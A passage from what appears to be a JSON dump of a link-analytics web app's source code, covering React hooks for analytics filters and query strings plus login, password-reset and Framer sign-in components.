    icon: MobilePhone,\n      },\n      {\n        value: \"Tokyo, Chrome users\",\n        icon: OfficeBuilding,\n      },\n      {\n        value: \"Safari, Singapore, last month\",\n        icon: FlagWavy,\n      },\n      {\n        value: \"QR scans last quarter\",\n        icon: QRCode,\n      },\n    ],\n    [dashboardProps, partnerPage],\n  );\n\n  const [streaming, setStreaming] = useState<boolean>(false);\n\n  const LinkFilterItem = {\n    key: \"linkId\",\n    icon: Hyperlink,\n    label: \"Link\",\n    getOptionIcon: (_value, props) => {\n      const data = props.option?.data;\n      const url = data?.url;\n      return <LinkIcon url={url} />;\n    },\n    options:\n      links?.map(({ id, domain, key, url, ...rest }) => ({\n        value: id,\n        label: linkConstructor({ domain, key, pretty: true }),\n        right: getFilterOptionTotal(rest),\n        data: { url, domain, key },\n      })) ?? null,\n  };\n\n  const DomainFilterItem = {\n    key: \"domain\",\n    icon: Globe2,\n    label: \"Domain\",\n    getOptionIcon: (value) => (\n      <BlurImage\n        src={`${GOOGLE_FAVICON_URL}${value}`}\n        alt={value}\n        className=\"h-4 w-4 rounded-full\"\n        width={16}\n        height={16}\n      />\n    ),\n    options:\n      domains?.map(({ domain, ...rest }) => ({\n        value: domain,\n        label: domain,\n        right: getFilterOptionTotal(rest),\n      })) ?? null,\n  };\n\n  const SaleTypeFilterItem = {\n    key: \"saleType\",\n    icon: Receipt2,\n    label: \"Sale type\",\n    separatorAfter: true,\n    hideMultipleIcons: true,\n    singleSelect: true,\n    options: [\n      {\n        value: \"new\",\n        label: \"New\",\n        icon: UserPlus,\n      },\n      {\n        value: \"recurring\",\n        label: \"Recurring\",\n        icon: Calendar6,\n      },\n    ],\n  };\n\n  const filters: ComponentProps<typeof Filter.Select>[\"filters\"] = useMemo(\n    () => [\n      {\n        key: \"ai\",\n        icon: Magic,\n        label: \"Ask AI\",\n        singleSelect: true,\n        separatorAfter: true,\n        options:\n          aiFilterSuggestions?.map(({ icon, value }) => ({\n            value,\n            label: value,\n            icon,\n          })) ?? null,\n      },\n      ...(dashboardProps\n        ? dashboardProps.key\n          ? []\n          : [DomainFilterItem, LinkFilterItem]\n        : programPage\n          ? [\n              {\n                key: \"groupId\",\n                icon: Users6,\n                label: \"Group\",\n                getOptionIcon: (_value, props) => {\n                  const group = props.option?.data?.group;\n                  return group ? <GroupColorCircle group={group} /> : null;\n                },\n                options:\n                  groups?.map(({ group, ...rest }) => ({\n                    value: group.id,\n                    icon: <GroupColorCircle group={group} />,\n                    label: group.name,\n                    data: { group },\n                    right: getFilterOptionTotal(rest),\n                  })) ?? null,\n              },\n              {\n                key: \"partnerId\",\n                icon: Users,\n                label: \"Partner\",\n                options:\n                  partners?.map(({ partner, ...rest }) => {\n                    return {\n                      value: partner.id,\n                      label: partner.name,\n                      icon: (\n                        <PartnerAvatar partner={partner} className=\"size-4\" />\n                      ),\n                      right: getFilterOptionTotal(rest),\n                    };\n                  }) ?? null,\n              },\n              SaleTypeFilterItem,\n            ]\n          : partnerPage\n            ? [LinkFilterItem, SaleTypeFilterItem]\n            : [\n                {\n                  key: \"folderId\",\n                  icon: Folder,\n                  label: \"Folder\",\n                  getOptionIcon: (_value, props) => {\n                    const folder = props.option?.data?.folder;\n                    return folder ? (\n                      <FolderIcon\n                        folder={folder}\n                        shape=\"square\"\n                        iconClassName=\"size-3\"\n                      />\n                    ) : null;\n                  },\n                  options:\n                    folders?.map(({ folder, ...rest }) => ({\n                      value: folder.id,\n                      icon: (\n                        <FolderIcon\n                          folder={folder}\n                          shape=\"square\"\n                          iconClassName=\"size-3\"\n                        />\n                      ),\n                      label: folder.name,\n                      data: { folder },\n                      right: getFilterOptionTotal(rest),\n                    })) ?? null,\n                },\n                {\n                  key: \"tagId\",\n                  icon: Tag,\n                  label: \"Tag\",\n                  getOptionIcon: (_value, props) => {\n                    const tagColor = props.option?.data?.color;\n                    return tagColor ? (\n                      <TagBadge color={tagColor} withIcon className=\"sm:p-1\" />\n                    ) : null;\n                  },\n                  options:\n                    linkTags?.map(({ tag: { id, name, color }, ...rest }) => ({\n                      value: id,\n                      icon: (\n                        <TagBadge color={color} withIcon className=\"sm:p-1\" />\n                      ),\n                      label: name,\n                      data: { color },\n                      right: getFilterOptionTotal(rest),\n                    })) ?? null,\n                },\n                DomainFilterItem,\n                LinkFilterItem,\n                {\n                  key: \"root\",\n                  icon: Sliders,\n                  label: \"Link type\",\n                  hideMultipleIcons: true,\n                  singleSelect: true,\n                  options: [\n                    {\n                      value: \"true\",\n                      icon: Globe2,\n                      label: \"Root domain link\",\n                    },\n                    {\n                      value: \"false\",\n                      icon: Hyperlink,\n                      label: \"Regular short link\",\n                    },\n                  ],\n                },\n                SaleTypeFilterItem,\n              ]),\n      {\n        key: \"country\",\n        icon: FlagWavy,\n        label: \"Country\",\n        labelPlural: \"countries\",\n        getOptionIcon: (value) => {\n          if (typeof value !== \"string\") return null;\n\n          return (\n            <img\n              alt={value}\n              src={`https://hatscripts.github.io/circle-flags/flags/${value.toLowerCase()}.svg`}\n              className=\"size-4 shrink-0\"\n            />\n          );\n        },\n        options:\n          countries?.map(({ country, ...rest }) => ({\n            value: country,\n            label: COUNTRIES[country],\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"city\",\n        icon: OfficeBuilding,\n        label: \"City\",\n        labelPlural: \"cities\",\n        options:\n          cities?.map(({ city, country, ...rest }) => ({\n            value: city,\n            label: city,\n            icon: (\n              <img\n                alt={country}\n                src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                className=\"size-4 shrink-0\"\n              />\n            ),\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"region\",\n        icon: LocationPin,\n        label: \"Region\",\n        options:\n          regions?.map(({ region, country, ...rest }) => ({\n            value: region,\n            label: REGIONS[region] || region.split(\"-\")[1],\n            icon: (\n              <img\n                alt={country}\n                src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                className=\"size-4 shrink-0\"\n              />\n            ),\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"continent\",\n        icon: MapPosition,\n        label: \"Continent\",\n        getOptionIcon: (value) => {\n          if (typeof value !== \"string\") return null;\n          return (\n            <ContinentIcon\n              display={value}\n              className=\"size-4 rounded-full border border-cyan-500\"\n            />\n          );\n        },\n        getOptionLabel: (value) => {\n          if (typeof value !== \"string\") return String(value);\n          return CONTINENTS[value] || value;\n        },\n        options:\n          continents?.map(({ continent, ...rest }) => ({\n            value: continent,\n            label: CONTINENTS[continent],\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"device\",\n        icon: MobilePhone,\n        label: \"Device\",\n        hideMultipleIcons: true,\n        getOptionIcon: (value) => {\n          if (typeof value !== \"string\") return null;\n          return (\n            <DeviceIcon\n              display={capitalize(value) ?? value}\n              tab=\"devices\"\n              className=\"h-4 w-4\"\n            />\n          );\n        },\n        options:\n          devices?.map(({ device, ...rest }) => ({\n            value: device,\n            label: device,\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"browser\",\n        icon: Window,\n        label: \"Browser\",\n        getOptionIcon: (value) => {\n          if (typeof value !== \"string\") return null;\n          return (\n            <DeviceIcon display={value} tab=\"browsers\" className=\"h-4 w-4\" />\n          );\n        },\n        options:\n          browsers?.map(({ browser, ...rest }) => ({\n            value: browser,\n            label: browser,\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      {\n        key: \"os\",\n        icon: Cube,\n        label: \"OS\",\n        labelPlural: \"OS\",\n        hideMultipleIcons: true,\n        getOptionIcon: (value) => {\n          if (typeof value !== \"string\") return null;\n          return <DeviceIcon display={value} tab=\"os\" className=\"h-4 w-4\" />;\n        },\n        options:\n          os?.map(({ os, ...rest }) => ({\n            value: os,\n            label: os,\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      ...(programPage\n        ? []\n        : [\n            {\n              key: \"trigger\",\n              icon: CursorRays,\n              label: \"Trigger\",\n              hideMultipleIcons: true,\n              options:\n                triggers?.map(({ trigger, ...rest }) => {\n                  const { title, icon } = TRIGGER_DISPLAY[trigger];\n                  return {\n                    value: trigger,\n                    label: title,\n                    icon,\n                    right: getFilterOptionTotal(rest),\n                  };\n                }) ?? null,\n              separatorAfter: true,\n            },\n          ]),\n      {\n        key: \"referer\",\n        icon: ReferredVia,\n        label: \"Referrer\",\n        getOptionIcon: (value, _props) => {\n          if (typeof value !== \"string\") return null;\n          return <ReferrerIcon display={value} className=\"h-4 w-4\" />;\n        },\n        options:\n          referers?.map(({ referer, ...rest }) => ({\n            value: referer,\n            label: referer,\n            right: getFilterOptionTotal(rest),\n          })) ?? null,\n      },\n      ...(programPage\n        ? []\n        : [\n            {\n              key: \"refererUrl\",\n              icon: ReferredVia,\n              label: \"Referrer URL\",\n              getOptionIcon: (value, props) => {\n                if (typeof value !== \"string\") return null;\n                return <ReferrerIcon display={value} className=\"h-4 w-4\" />;\n              },\n              options:\n                refererUrls?.map(({ refererUrl, ...rest }) => ({\n                  value: refererUrl,\n                  label: refererUrl,\n                  right: getFilterOptionTotal(rest),\n                })) ?? null,\n            },\n            {\n              key: \"url\",\n              icon: LinkBroken,\n              label: \"Destination URL\",\n              getOptionIcon: (_, props) => (\n                <LinkLogo\n                  apexDomain={getApexDomain(props.option?.value)}\n                  className=\"size-4 sm:size-4\"\n                />\n              ),\n              options:\n                baseUrls?.map(({ url, ...rest }) => ({\n                  value: url,\n                  label: url.replace(/^https?:\\/\\//, \"\").replace(/\\/$/, \"\"),\n                  right: getFilterOptionTotal(rest),\n                })) ?? null,\n            },\n            ...UTM_PARAMETERS.filter(({ key }) => key !== \"ref\").map(\n              ({ key, label, icon: Icon }) => ({\n                key,\n                icon: Icon,\n                label: `UTM ${label}`,\n                getOptionIcon: (value) => {\n                  if (typeof value !== \"string\") return null;\n                  return <Icon display={value} className=\"h-4 w-4\" />;\n                },\n                options:\n                  utmData[key]?.map((dt) => ({\n                    value: dt[key],\n                    label: dt[key],\n                    right: nFormatter(dt.count, { full: true }),\n                  })) ?? null,\n              }),\n            ),\n          ]),\n      // additional fields that are hidden in filter dropdown\n      {\n        key: \"customerId\",\n        icon: User,\n        label: \"Customer\",\n        singleSelect: true,\n        hideMultipleIcons: true,\n        hideInFilterDropdown: true,\n        getOptionIcon: () => {\n          return selectedCustomer ? (\n            <CustomerAvatar customer={selectedCustomer} className=\"size-4\" />\n          ) : null;\n        },\n        getOptionPermalink: () => {\n          return programPage\n            ? `/${slug}/program/customers/${selectedCustomerId}`\n            : slug\n              ? `/${slug}/customers/${selectedCustomerId}`\n              : null;\n        },\n        options: [],\n      },\n      {\n        key: \"partnerId\",\n        icon: Users6,\n        label: \"Partner\",\n        hideInFilterDropdown: true,\n        getOptionIcon: () => {\n          return selectedPartner ? (\n            <PartnerAvatar partner={selectedPartner} className=\"size-4\" />\n          ) : null;\n        },\n        getOptionLabel: () => {\n          return selectedPartner?.name ?? selectedPartnerId;\n        },\n        options: [],\n      },\n    ],\n    [\n      dashboardProps,\n      partnerPage,\n      domains,\n      links,\n      linkTags,\n      folders,\n      groups,\n      selectedCustomerId,\n      countries,\n      cities,\n      devices,\n      browsers,\n      os,\n      referers,\n      refererUrls,\n      baseUrls,\n      utmData,\n      searchParamsObj.tagId,\n      searchParamsObj.domain,\n    ],\n  );\n\n  const onSelect = useCallback(\n    async (key, value) => {\n      if (Array.isArray(value)) {\n        if (value.length === 0) {\n          queryParams({\n            del: key,\n            scroll: false,\n          });\n        } else {\n          const currentParam = searchParamsObj[key];\n          const isNegated = currentParam?.startsWith(\"-\") ?? false;\n\n          const newParam = isNegated ? `-${value.join(\",\")}` : value.join(\",\");\n\n          queryParams({\n            set: { [key]: newParam },\n            del: \"page\",\n            scroll: false,\n          });\n        }\n\n        return;\n      }\n\n      if (key === \"ai\") {\n        setStreaming(true);\n        const prompt = value.replace(\"Ask AI \", \"\");\n        const { object } = await generateFilters(prompt);\n        for await (const partialObject of readStreamableValue(object)) {\n          if (partialObject) {\n            queryParams({\n              set: Object.fromEntries(\n                Object.entries(partialObject).map(([key, value]) => [\n                  key,\n                  // Convert Dates to ISO strings\n                  value instanceof Date ? value.toISOString() : String(value),\n                ]),\n              ),\n            });\n          }\n        }\n        setStreaming(false);\n      } else {\n        const currentParam = searchParamsObj[key];\n        const filterDef = filters.find((f) => f.key === key);\n        const isSingleSelect = filterDef?.singleSelect;\n\n        if (!currentParam || isSingleSelect) {\n          queryParams({\n            set: { [key]: value },\n            del: \"page\",\n            scroll: false,\n          });\n        } else {\n          const parsed = parseFilterParam(currentParam);\n\n          if (parsed && !parsed.values.includes(value)) {\n            const newValues = [...parsed.values, value];\n            const newParam = parsed.operator.includes(\"NOT\")\n              ? `-${newValues.join(\",\")}`\n              : newValues.join(\",\");\n\n            queryParams({\n              set: { [key]: newParam },\n              del: \"page\",\n              scroll: false,\n            });\n          }\n        }\n      }\n    },\n    [queryParams, activeFilters, searchParamsObj, parseFilterParam, filters],\n  );\n\n  const onRemove = useCallback(\n    (key, value) => {\n      const currentParam = searchParamsObj[key];\n\n      if (!currentParam) return;\n\n      const parsed = parseFilterParam(currentParam);\n      if (!parsed) {\n        queryParams({ del: key, scroll: false });\n        return;\n      }\n\n      const newValues = parsed.values.filter((v) => v !== value);\n\n      if (newValues.length === 0) {\n        queryParams({ del: key, scroll: false });\n      } else {\n        const newParam = parsed.operator.includes(\"NOT\")\n          ? `-${newValues.join(\",\")}`\n          : newValues.join(\",\");\n\n        queryParams({\n          set: { [key]: newParam },\n          scroll: false,\n        });\n      }\n    },\n    [queryParams, searchParamsObj, parseFilterParam],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        // Reset all filters except for date range\n        del: VALID_ANALYTICS_FILTERS.concat([\"page\"]).filter(\n          (f) => ![\"interval\", \"start\", \"end\"].includes(f),\n        ),\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const onOpenFilter = useCallback((key) => {\n    setRequestedFilters((rf) => (rf.includes(key) ? rf : [...rf, key]));\n  }, []);\n\n  const onToggleOperator = useCallback(\n    (key) => {\n      const currentParam = searchParamsObj[key];\n      if (!currentParam) return;\n\n      const isNegated = currentParam.startsWith(\"-\");\n      const cleanValue = isNegated ? currentParam.slice(1) : currentParam;\n\n      const newParam = isNegated ? cleanValue : `-${cleanValue}`;\n\n      queryParams({\n        set: { [key]: newParam },\n        del: \"page\",\n        scroll: false,\n      });\n    },\n    [searchParamsObj, queryParams],\n  );\n\n  const onRemoveFilter = useCallback(\n    (key) => queryParams({ del: key, scroll: false }),\n    [queryParams],\n  );\n\n  const activeFiltersWithStreaming = useMemo(() => {\n    return [\n      ...activeFilters,\n      ...(streaming && !activeFilters.length\n        ? Array.from({ length: 2 }, (_, i) => i).map((i) => ({\n            key: \"loader\",\n            values: [String(i)],\n            operator: \"IS\" as const,\n          }))\n        : []),\n    ];\n  }, [activeFilters, streaming]);\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveFilter,\n    onRemoveAll,\n    onOpenFilter,\n    onToggleOperator,\n    streaming,\n    activeFiltersWithStreaming,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/use-analytics-query.tsx",
    "content": "import {\n  DUB_LINKS_ANALYTICS_INTERVAL,\n  EVENT_TYPES,\n  VALID_ANALYTICS_FILTERS,\n} from \"@/lib/analytics/constants\";\nimport { EventType } from \"@/lib/analytics/types\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { endOfDay, startOfDay, subDays } from \"date-fns\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\n\nexport function useAnalyticsQuery({\n  defaultEvent = \"clicks\",\n  domain: domainParam,\n  defaultKey,\n  defaultFolderId,\n  defaultInterval = DUB_LINKS_ANALYTICS_INTERVAL,\n}: {\n  defaultEvent?: EventType;\n  domain?: string;\n  defaultKey?: string;\n  defaultFolderId?: string;\n  defaultInterval?: string;\n} = {}) {\n  const searchParams = useSearchParams();\n  const { id: workspaceId } = useWorkspace();\n\n  const domain = domainParam ?? searchParams?.get(\"domain\");\n  // key can be a query param (stats pages in app) or passed as a staticKey (shared analytics dashboards)\n  const key = searchParams?.get(\"key\") || defaultKey;\n\n  const folderId =\n    searchParams?.get(\"folderId\") ?? defaultFolderId ?? undefined;\n  const tagId = searchParams?.get(\"tagId\") ?? undefined;\n  const customerId = searchParams?.get(\"customerId\") ?? undefined;\n\n  // Default to last 24 hours\n  const { start, end } = useMemo(() => {\n    const hasRange = searchParams?.has(\"start\") && searchParams?.has(\"end\");\n\n    return {\n      start: hasRange\n        ? startOfDay(\n            new Date(searchParams?.get(\"start\") || subDays(new Date(), 1)),\n          )\n        : undefined,\n\n      end: hasRange\n        ? endOfDay(new Date(searchParams?.get(\"end\") || new Date()))\n        : undefined,\n    };\n  }, [searchParams?.get(\"start\"), searchParams?.get(\"end\")]);\n\n  // Only set interval if start and end are not provided\n  const interval =\n    start || end ? undefined : searchParams?.get(\"interval\") ?? defaultInterval;\n\n  const root = searchParams.get(\"root\");\n\n  const selectedTab: EventType = useMemo(() => {\n    const event = searchParams.get(\"event\");\n\n    return EVENT_TYPES.find((t) => t === event) ?? defaultEvent;\n  }, [searchParams.get(\"event\"), defaultEvent]);\n\n  const queryString = useMemo(() => {\n    const availableFilterParams = VALID_ANALYTICS_FILTERS.reduce(\n      (acc, filter) => ({\n        ...acc,\n        ...(searchParams?.get(filter) && {\n          [filter]: searchParams.get(filter),\n        }),\n      }),\n      {},\n    );\n    return new URLSearchParams({\n      ...availableFilterParams,\n      event: selectedTab,\n      ...(workspaceId && { workspaceId }),\n      ...(domain && { domain }),\n      ...(key && { key }),\n      ...(start &&\n        end && { start: start.toISOString(), end: end.toISOString() }),\n      ...(interval && { interval }),\n      ...(folderId && { folderId }),\n      ...(tagId && { tagId }),\n      ...(customerId && { customerId }),\n      ...(root && { root: root.toString() }),\n      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n    }).toString();\n  }, [\n    searchParams,\n    workspaceId,\n    domain,\n    key,\n    start,\n    end,\n    interval,\n    folderId,\n    tagId,\n    root,\n    selectedTab,\n    customerId,\n  ]);\n\n  return {\n    queryString,\n    domain,\n    key,\n    start,\n    end,\n    interval,\n    folderId,\n    tagId,\n    root,\n    selectedTab,\n    customerId,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/utils.ts",
    "content": "import { SINGULAR_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { AnalyticsGroupByOptions } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport { fetcher } from \"@dub/utils\";\nimport { ContextType, useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\ntype AnalyticsFilterResult = {\n  data:\n    | ({ count?: number; saleAmount?: number } & Record<string, any>)[]\n    | null;\n  loading: boolean;\n};\n\n/**\n * Fetches event counts grouped by the specified filter\n *\n * @param groupByOrParams Either a groupBy option or a query parameter object including groupBy\n * @param options Additional options\n */\nexport function useAnalyticsFilterOption(\n  groupByOrParams:\n    | AnalyticsGroupByOptions\n    | ({ groupBy: AnalyticsGroupByOptions } & Record<string, any>),\n  options?: {\n    disabled?: boolean;\n    omitGroupByFilterKey?: boolean; // for Filter.Select and Filter.List, we need to show all options by default, so we need to omit the groupBy filter key\n    context?: Pick<\n      ContextType<typeof AnalyticsContext>,\n      \"baseApiPath\" | \"queryString\" | \"selectedTab\" | \"requiresUpgrade\"\n    >;\n  },\n): AnalyticsFilterResult {\n  const { baseApiPath, queryString, selectedTab, requiresUpgrade } =\n    options?.context ?? useContext(AnalyticsContext);\n\n  const groupBy =\n    typeof groupByOrParams === \"string\"\n      ? groupByOrParams\n      : groupByOrParams?.groupBy;\n\n  // Extract additional params (like root) from the params object\n  const additionalParams =\n    typeof groupByOrParams === \"object\" && groupByOrParams !== null\n      ? Object.fromEntries(\n          Object.entries(groupByOrParams).filter(([key]) => key !== \"groupBy\"),\n        )\n      : {};\n\n  const { data, isLoading } = useSWR<Record<string, any>[]>(\n    !options?.disabled &&\n      `${baseApiPath}?${editQueryString(\n        queryString,\n        {\n          ...(groupBy && { groupBy }),\n          ...additionalParams,\n        },\n        // if theres no groupBy or we're not omitting the groupBy filter, skip\n        // else, we need to remove the filter for that groupBy param\n        (() => {\n          if (!groupBy || !options?.omitGroupByFilterKey) return undefined;\n          return SINGULAR_ANALYTICS_ENDPOINTS[groupBy]\n            ? SINGULAR_ANALYTICS_ENDPOINTS[groupBy]\n            : undefined;\n        })(),\n      )}`,\n    fetcher,\n    {\n      shouldRetryOnError: !requiresUpgrade,\n    },\n  );\n\n  return {\n    data:\n      data?.map((d) => ({\n        ...d,\n        count: d[selectedTab] as number | undefined,\n        saleAmount: d.saleAmount as number | undefined,\n      })) ?? null,\n    loading: !data || isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/auth/auth-alternative-banner.tsx",
    "content": "import { DotsPattern } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function AuthAlternativeBanner({\n  text,\n  cta,\n  href,\n}: {\n  text: string;\n  cta: string;\n  href: string;\n}) {\n  return (\n    <Link\n      href={href}\n      className=\"relative block overflow-hidden rounded-lg border border-neutral-200 bg-neutral-50 px-2 py-4 transition-colors hover:bg-neutral-100\"\n    >\n      <div\n        className=\"absolute inset-y-0 left-1/2 w-[640px] -translate-x-1/2\"\n        role=\"presentation\"\n      >\n        <DotsPattern patternOffset={[1, 5]} className=\"text-neutral-200\" />\n      </div>\n      <div className=\"relative text-center text-sm text-neutral-600\">\n        <p>{text}</p>\n        <span className=\"block font-semibold text-neutral-800\">{cta}</span>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/auth/auth-methods-separator.tsx",
    "content": "export function AuthMethodsSeparator() {\n  return (\n    <div className=\"my-3 flex flex-shrink items-center justify-center gap-2\">\n      <div className=\"grow basis-0 border-b border-neutral-200\" />\n      <span className=\"text-content-muted text-xs font-medium uppercase leading-none\">\n        or\n      </span>\n      <div className=\"grow basis-0 border-b border-neutral-200\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/auth/forgot-password-form.tsx",
    "content": "\"use client\";\n\nimport { requestPasswordResetAction } from \"@/lib/actions/request-password-reset\";\nimport { Button, Input, useMediaQuery } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport const ForgotPasswordForm = () => {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const searchParams = useSearchParams();\n  const [email, setEmail] = useState(searchParams.get(\"email\") || \"\");\n\n  const { executeAsync, isPending } = useAction(requestPasswordResetAction, {\n    onSuccess() {\n      toast.success(\n        \"You will receive an email with instructions to reset your password.\",\n      );\n      router.push(\"/login\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  return (\n    <div className=\"flex w-full flex-col gap-3\">\n      <form\n        onSubmit={(e) => {\n          e.preventDefault();\n          executeAsync({ email });\n        }}\n      >\n        <div className=\"flex flex-col gap-6\">\n          <label>\n            <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n              Email\n            </span>\n            <Input\n              type=\"email\"\n              autoFocus={!isMobile}\n              value={email}\n              placeholder=\"panic@thedis.co\"\n              onChange={(e) => setEmail(e.target.value)}\n            />\n          </label>\n          <Button\n            type=\"submit\"\n            text={isPending ? \"Sending...\" : \"Send reset link\"}\n            loading={isPending}\n            disabled={email.length < 3}\n          />\n        </div>\n      </form>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/login/email-sign-in.tsx",
    "content": "import { checkAccountExistsAction } from \"@/lib/actions/check-account-exists\";\nimport { Button, Input, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { signIn } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { useContext, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { errorCodes, LoginFormContext } from \"./login-form\";\n\nexport const EmailSignIn = ({ next }: { next?: string }) => {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const finalNext = next ?? searchParams?.get(\"next\");\n  const { isMobile } = useMediaQuery();\n  const [email, setEmail] = useState(\"\");\n  const [password, setPassword] = useState(\"\");\n\n  const {\n    showPasswordField,\n    setShowPasswordField,\n    setClickedMethod,\n    authMethod,\n    setAuthMethod,\n    clickedMethod,\n    setLastUsedAuthMethod,\n    setShowSSOOption,\n  } = useContext(LoginFormContext);\n\n  const { executeAsync, isPending } = useAction(checkAccountExistsAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  return (\n    <>\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n\n          // Check if the user can enter a password, and if so display the field\n          if (!showPasswordField) {\n            const result = await executeAsync({ email });\n\n            if (!result?.data) {\n              return;\n            }\n\n            const { accountExists, hasPassword, requireSAML } = result.data;\n\n            if (requireSAML) {\n              setClickedMethod(undefined);\n              toast.error(\n                \"Your organization requires authentication through your company's identity provider.\",\n              );\n              return;\n            }\n\n            if (accountExists && hasPassword) {\n              setShowPasswordField(true);\n              return;\n            }\n\n            if (!accountExists) {\n              setClickedMethod(undefined);\n              toast.error(\"No account found with that email address.\");\n              return;\n            }\n          }\n\n          setClickedMethod(\"email\");\n\n          const result = await executeAsync({ email });\n\n          if (!result?.data) {\n            return;\n          }\n\n          const { accountExists, hasPassword } = result.data;\n\n          if (!accountExists) {\n            setClickedMethod(undefined);\n            toast.error(\"No account found with that email address.\");\n            return;\n          }\n\n          const provider = password && hasPassword ? \"credentials\" : \"email\";\n\n          const response = await signIn(provider, {\n            email,\n            redirect: false,\n            callbackUrl: finalNext || \"/workspaces\",\n            ...(password && { password }),\n          });\n\n          if (!response) {\n            return;\n          }\n\n          if (!response.ok && response.error) {\n            if (errorCodes[response.error]) {\n              toast.error(errorCodes[response.error]);\n            } else {\n              toast.error(response.error);\n            }\n\n            setClickedMethod(undefined);\n            return;\n          }\n\n          setLastUsedAuthMethod(\"email\");\n\n          if (provider === \"email\") {\n            toast.success(\"Email sent - check your inbox!\");\n            setEmail(\"\");\n            setClickedMethod(undefined);\n            return;\n          }\n\n          if (provider === \"credentials\") {\n            router.push(response?.url || finalNext || \"/workspaces\");\n          }\n        }}\n        className=\"flex flex-col gap-y-6\"\n      >\n        {authMethod === \"email\" && (\n          <label>\n            <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n              Email\n            </span>\n            <input\n              id=\"email\"\n              name=\"email\"\n              autoFocus={!isMobile && !showPasswordField}\n              type=\"email\"\n              placeholder=\"panic@thedis.co\"\n              autoComplete=\"email\"\n              required\n              value={email}\n              onChange={(e) => setEmail(e.target.value)}\n              size={1}\n              className={cn(\n                \"block w-full min-w-0 appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\",\n                {\n                  \"pr-10\": isPending,\n                },\n              )}\n            />\n          </label>\n        )}\n\n        {showPasswordField && (\n          <label>\n            <div className=\"mb-2 flex items-center justify-between\">\n              <span className=\"text-content-emphasis block text-sm font-medium leading-none\">\n                Password\n              </span>\n              <Link\n                href={`/forgot-password?email=${encodeURIComponent(email)}`}\n                className=\"text-content-subtle hover:text-content-emphasis text-xs leading-none underline underline-offset-2 transition-colors\"\n              >\n                Forgot password?\n              </Link>\n            </div>\n            <Input\n              type=\"password\"\n              autoFocus={!isMobile}\n              value={password}\n              placeholder=\"Password (optional)\"\n              onChange={(e) => setPassword(e.target.value)}\n            />\n          </label>\n        )}\n\n        <Button\n          text={`Log in with ${password ? \"password\" : \"email\"}`}\n          {...(authMethod !== \"email\" && {\n            type: \"button\",\n            onClick: (e) => {\n              e.preventDefault();\n              setShowSSOOption(false);\n              setAuthMethod(\"email\");\n            },\n          })}\n          loading={clickedMethod === \"email\" || isPending}\n          disabled={clickedMethod && clickedMethod !== \"email\"}\n        />\n      </form>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/login/framer-button.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Framer } from \"lucide-react\";\nimport { signIn } from \"next-auth/react\";\nimport { useState } from \"react\";\n\nexport const FramerButton = () => {\n  const [clicked, setClicked] = useState(false);\n\n  return (\n    <Button\n      text=\"Login with Framer\"\n      variant=\"secondary\"\n      onClick={() => {\n        setClicked(true);\n        signIn(\"framer\", {\n          callbackUrl: \"/programs/framer\",\n        });\n      }}\n      icon={<Framer className=\"size-4 fill-white text-white\" />}\n      className={cn(!clicked && \"bg-blue-600 text-white hover:bg-blue-700\")}\n      loading={clicked}\n    />\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/login/github-button.tsx",
